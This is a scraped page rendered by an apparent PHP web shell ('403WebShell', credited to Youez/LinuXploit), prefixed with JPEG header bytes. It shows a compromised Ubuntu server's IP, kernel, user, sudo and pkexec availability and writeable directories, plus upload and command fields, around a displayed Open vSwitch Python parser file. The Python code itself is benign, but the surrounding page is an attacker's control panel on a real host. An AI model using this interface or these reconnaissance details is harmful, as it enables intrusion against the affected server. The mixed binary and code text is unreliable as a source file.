����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.148.192.220
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/29619/share/openvswitch/python/ovs/flow/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/29619/share/openvswitch/python/ovs/flow/list.py
import re

from ovs.flow.kv import KeyValue, KeyMetadata, ParseError
from ovs.flow.decoders import decode_default


class ListDecoders(object):
    """ListDecoders is used by ListParser to decode the elements in the list.

    A decoder is a function that accepts a value and returns its decoded
    object.

    ListDecoders is initialized with a list of tuples that contains the
    keyword and the decoding function associated with each position in the
    list. The order is, therefore, important.

    Args:
        decoders (list of tuples): Optional; a list of tuples.
            The first element in the tuple is the keyword associated with the
            value. The second element in the tuple is the decoder function.
    """

    def __init__(self, decoders=None):
        self._decoders = decoders or list()

    def decode(self, index, value_str):
        """Decode the index'th element of the list.

        Args:
            index (int): The position in the list of the element to decode.
            value_str (str): The value string to decode.
        """
        if index < 0 or index >= len(self._decoders):
            return self._default_decoder(index, value_str)

        try:
            key = self._decoders[index][0]
            value = self._decoders[index][1](value_str)
            return key, value
        except Exception as e:
            raise ParseError(
                "Failed to decode value_str {}: {}".format(value_str, str(e))
            )

    @staticmethod
    def _default_decoder(index, value):
        key = "elem_{}".format(index)
        return key, decode_default(value)


class ListParser(object):
    """ListParser parses a list of values and stores them as key-value pairs.

    It uses a ListDecoders instance to decode each element in the list.

    Args:
        string (str): The string to parse.
        decoders (ListDecoders): Optional, the decoders to use.
        delims (list): Optional, list of delimiters of the list. Defaults to
            [','].
    """
    def __init__(self, string, decoders=None, delims=[","]):
        self._string = string
        self._decoders = decoders or ListDecoders()
        self._keyval = list()
        self._regexp = r"({})".format("|".join(delims))

    def kv(self):
        return self._keyval

    def __iter__(self):
        return iter(self._keyval)

    def parse(self):
        """Parse the list in string.

        Raises:
            ParseError if any parsing error occurs.
        """
        kpos = 0
        index = 0
        while kpos < len(self._string) and self._string[kpos] != "\n":
            split_parts = re.split(self._regexp, self._string[kpos:], 1)
            value_str = split_parts[0]

            key, value = self._decoders.decode(index, value_str)

            meta = KeyMetadata(
                kpos=kpos,
                vpos=kpos,
                kstring=value_str,
                vstring=value_str,
            )
            self._keyval.append(KeyValue(key, value, meta))

            kpos += len(value_str) + 1
            index += 1


def decode_nested_list(decoders, value, delims=[","]):
    """Decodes a string value that contains a list of elements and returns
    them in a dictionary.

    Args:
        decoders (ListDecoders): The ListDecoders to use.
        value (str): The value string to decode.
        delims (list(str)): Optional, the list of delimiters to use.
    """
    parser = ListParser(value, decoders, delims)
    parser.parse()
    return {kv.key: kv.value for kv in parser.kv()}


def nested_list_decoder(decoders=None, delims=[","]):
    """Helper function that creates a nested list decoder with given
    ListDecoders and delimiters.
    """
    def decoder(value):
        return decode_nested_list(decoders, value, delims)

    return decoder

Youez - 2016 - github.com/yon3zu
LinuXploit